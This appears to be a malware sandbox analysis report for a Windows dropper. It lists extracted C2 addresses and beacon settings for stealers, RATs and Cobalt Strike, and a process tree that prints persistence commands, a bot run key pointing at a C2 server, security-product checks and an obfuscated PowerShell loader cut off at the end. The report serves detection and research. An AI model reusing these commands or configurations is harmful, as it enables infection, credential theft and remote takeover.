Resubmissions
06/11/2026, 14:36
261106-rylrnaxz9r1004/11/2026, 21:57
261104-1txsssvwgz03/11/2026, 22:02
261103-1xxxzazy2l1003/11/2026, 21:57
261103-1t4lcawwes1003/11/2026, 21:50
261103-1p66nsfx2r1003/11/2026, 21:48
261103-1n9keazx5r1026/10/2026, 02:22
261026-ctm2lazv7j1024/10/2026, 06:44
261024-hhl8taxx2r23/10/2026, 16:14
261023-tpvpbatt6q1018/10/2026, 12:47
261018-p1by5acz5n10Analysis
- max time kernel
194s - max time network
218s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
13/09/2026, 12:17
Errors
Reason
Machine shutdown
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260913-pfz58aba39
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Family
-
aokigahara
Botnet
-
b8a12d54f77e31372dac9fd44402f8b26111c337a114961bd75984ccb9a508a3
Campaign
-
f6d8815b
C2
-
https://neihite.cc/gate
Extracted
Family
-
vidar
Version
-
2.9
Botnet
-
5fdb6df778631818165110294c620890
C2
-
https://65.109.35.163
-
https://telegram.me/j0tt0s
-
https://steamcommunity.com/profiles/76561198660175584
Attributes
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0
Extracted
Family
-
xworm
Version
-
5.0
C2
-
74.120.121.223:7004
Mutex
-
QzPk8SeLEX0EDS29
Attributes
-
install_file
USB.exe
aes.plain
Extracted
Family
-
stealc
C2
-
http://91.92.242.73
rc4.plain
Extracted
Family
-
vidar
Version
-
2.9
Botnet
-
a099505f8ec3a0db21363b9cf5631705
C2
-
https://78.47.230.34
-
https://telegram.me/j0tt0s
-
https://steamcommunity.com/profiles/76561198660175584
Attributes
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0
Extracted
Family
-
asyncrat
Botnet
-
Default
Attributes
-
delay
1
-
install
true
-
install_file
vortex.exe
-
install_folder
%AppData%
-
local_host
127.0.0.1
aes.plain
Extracted
Family
-
cobaltstrike
Botnet
-
987654321
C2
-
http://115.190.250.28:5521/j.ad
Attributes
-
access_type
512
-
host
115.190.250.28
-
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
polling_time
60000
-
port_number
5521
-
sc_process32
%windir%\syswow64\rundll32.exe
-
sc_process64
%windir%\sysnative\rundll32.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCIqrxhTCeMCoWOTHnOosASxjhtpfg1Tg/x/OH5jAoeXy+GbFHxSN8BCCAjCCKUDpQQPSzDbE9+frrCh2G2vXaWfLK7u5yBzxRLG0PeDeAHjmdMpWRLCmepNsSHd4OeGJ2/X7pw8Ije9kzkpvsefl99dk7Ga6eQAXeiT4jBZc/07wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
4096
-
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/submit.php
-
user_agent
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
-
watermark
987654321
Extracted
Family
-
acrstealer
Version
-
4.1.2-alpha.2
C2
-
gro.runtimeforge.cc
Decoy
-
gvt1.com
Attributes
-
ddrs
wci.packet-routing-engine.surf
-
guids
a6cdcc0b-6b38-49d6-9672-20be114d9eba
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
add.hex
Signatures
- Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Family: Aokigahara
Aokigahara is a Windows stealer written in C.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Family: Stealc
Stealc is an infostealer written in C++.
- Family: Vidar
Vidar is an infostealer based on Arkei stealer.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Detects ACRStealer V4.x 1 IoCs
- Detects Stealc stealer Version 3 13 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 28 IoCs
Powershell Invoke Web Request.
- Downloads MZ/PE file 6 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Disables service(s) 3 TTPs
- Loads dropped DLL 42 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Stops running service(s) 4 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 62 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 18 IoCs
- UPX packed file 60 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Launches sc.exe 21 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Installer Packages 2 TTPs 18 IoCs
- Executes a command shell one-liner 1 TTPs 26 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 4 IoCs
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 4 IoCs
Uses WMIC.exe to determine videocard installed.
- Kills process with taskkill 3 IoCs
- Modifies registry key 1 TTPs 7 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 15 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 17 IoCs
- Suspicious use of SendNotifyMessage 17 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_deaad5d12778941d.exefile_deaad5d12778941d.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_ea7a051a82d4b3b5.exefile_ea7a051a82d4b3b5.exe3⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f4⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --supervisor4⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f5⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --runtime --supervisor-pid 65205⤵
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoLogo -NoProfile -NonInteractive -Command "$ErrorActionPreference='SilentlyContinue'; $exe=$env:BRIDGE_TRUST_EXE; $sig=Get-AuthenticodeSignature -LiteralPath $exe; $sigStatus=if($sig){[string]$sig.Status}else{'Unknown'}; $publisher=if($sig -and $sig.SignerCertificate){[string]$sig.SignerCertificate.Subject}else{''}; $mp=Get-MpComputerStatus; $tamper=if($null -ne $mp -and $null -ne $mp.IsTamperProtected){if([bool]$mp.IsTamperProtected){'Enabled'}else{'Disabled'}}else{'Unknown'}; $source='Local'; if(Test-Path 'HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'){$source='Group Policy'}; $onboard=(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status' -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState; if($onboard -eq 1 -and $source -eq 'Local'){$source='Defender for Endpoint'}; $detection='Unknown'; if(Get-Command Get-MpThreatDetection -ErrorAction SilentlyContinue){$matches=@(Get-MpThreatDetection | Where-Object { (($_.Resources | Out-String) -like ('*'+$exe+'*')) });$detection=if($matches.Count -gt 0){'Detection observed'}else{'None observed'}}; [ordered]@{signature_status=$sigStatus;publisher=$publisher;tamper_protection=$tamper;management_source=$source;defender_detection=$detection}|ConvertTo-Json -Compress"6⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\d742276196694d20\ScreenConnect.ClientSetup.msi"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Weekly-Report-1150902-1-pdf.exeWeekly-Report-1150902-1-pdf.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f560a93d91a75b5c.exefile_f560a93d91a75b5c.exe3⤵
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /F /IM BridgeAgent.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f4⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --supervisor4⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f5⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe" --runtime --supervisor-pid 85405⤵
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoLogo -NoProfile -NonInteractive -Command "$ErrorActionPreference='SilentlyContinue'; $exe=$env:BRIDGE_TRUST_EXE; $sig=Get-AuthenticodeSignature -LiteralPath $exe; $sigStatus=if($sig){[string]$sig.Status}else{'Unknown'}; $publisher=if($sig -and $sig.SignerCertificate){[string]$sig.SignerCertificate.Subject}else{''}; $mp=Get-MpComputerStatus; $tamper=if($null -ne $mp -and $null -ne $mp.IsTamperProtected){if([bool]$mp.IsTamperProtected){'Enabled'}else{'Disabled'}}else{'Unknown'}; $source='Local'; if(Test-Path 'HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'){$source='Group Policy'}; $onboard=(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status' -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState; if($onboard -eq 1 -and $source -eq 'Local'){$source='Defender for Endpoint'}; $detection='Unknown'; if(Get-Command Get-MpThreatDetection -ErrorAction SilentlyContinue){$matches=@(Get-MpThreatDetection | Where-Object { (($_.Resources | Out-String) -like ('*'+$exe+'*')) });$detection=if($matches.Count -gt 0){'Detection observed'}else{'None observed'}}; [ordered]@{signature_status=$sigStatus;publisher=$publisher;tamper_protection=$tamper;management_source=$source;defender_detection=$detection}|ConvertTo-Json -Compress"6⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f6⤵
- Modifies registry key
-
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
C:\Windows\system32\hostname.exe"hostname.exe"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_8eb65d0dcf9d4880.exefile_8eb65d0dcf9d4880.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_30391bd0ced7aa24.exefile_30391bd0ced7aa24.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ps_Q4huLTcs.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_018d7b156998810c.exefile_018d7b156998810c.exe3⤵
-
C:\Windows\system32\reg.exereg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v yuni4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v yuni /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\a\file_018d7b156998810c.exe bot -server 999.34c9f78b4ef541baac4a6e84d4f832a7.lol:9000" /f4⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\69c7b08d53c448c283d2f9d244d190cc.exe69c7b08d53c448c283d2f9d244d190cc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\0c83aee7a8ad48ecb075c59c5b4957f3.exe0c83aee7a8ad48ecb075c59c5b4957f3.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ac67795cbe1f491785c528b3ce7e02f7.exeac67795cbe1f491785c528b3ce7e02f7.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\f1c106553ca64defbddc6d82476e8076.exef1c106553ca64defbddc6d82476e8076.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\26bd033dff764587836ef1b2e13d79eb.exe26bd033dff764587836ef1b2e13d79eb.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\f1fd2b57dfc04e709e0d745afb092693.exef1fd2b57dfc04e709e0d745afb092693.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\c9df9ff3c2174c4da9300946886142a1.exec9df9ff3c2174c4da9300946886142a1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\343aed2fde0e4a64a80edc50ae7d9de6.exe343aed2fde0e4a64a80edc50ae7d9de6.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\141935c46a5c4ff1b84b433e84f36e61.exe141935c46a5c4ff1b84b433e84f36e61.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\f3eeb7dfc18246f7bc40a5704a81d193.exef3eeb7dfc18246f7bc40a5704a81d193.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\64c95144ee7744879dc688f427e12703.exe64c95144ee7744879dc688f427e12703.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\785778d19d3a48aabc169c022dd6e4a2.exe785778d19d3a48aabc169c022dd6e4a2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\036d684a34404874843f08d695e15695.exe036d684a34404874843f08d695e15695.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ca75c0dfaf9540ab96d419f67574927f.execa75c0dfaf9540ab96d419f67574927f.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\d33ab8c1371c4e1b9f2fdb7007e21df4.exed33ab8c1371c4e1b9f2fdb7007e21df4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\2d7aaa6d163f48458905a62516fc1390.exe2d7aaa6d163f48458905a62516fc1390.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\118.exe118.exe3⤵
-
C:\Users\Public\Documents\11.exe"C:\Users\Public\Documents\11.exe"4⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\192.exe192.exe3⤵
-
C:\Users\Public\Documents\11.exe"C:\Users\Public\Documents\11.exe"4⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\QW1.exeQW1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exeNotepad.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_274601599365ef96.exefile_274601599365ef96.exe3⤵
-
C:\Users\Admin\AppData\Local\Microsoft\updater_wDadgKFe.exeC:\Users\Admin\AppData\Local\Microsoft\updater_wDadgKFe.exe4⤵
-
C:\Windows\system32\getmac.exe"getmac" /fo csv /nh5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Installer_91473f.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\d6a0dbb9ae834113a8401012b1f9aa18.exed6a0dbb9ae834113a8401012b1f9aa18.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_4b8d61b5a6f660b5.exefile_4b8d61b5a6f660b5.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\google.exegoogle.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c file_457316565c5d19a2.cmd3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=17-56;$yIAnYBp=''k5XwE8pj'';$chwoge=''cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5'';$a8hABT30=''XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4='';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in 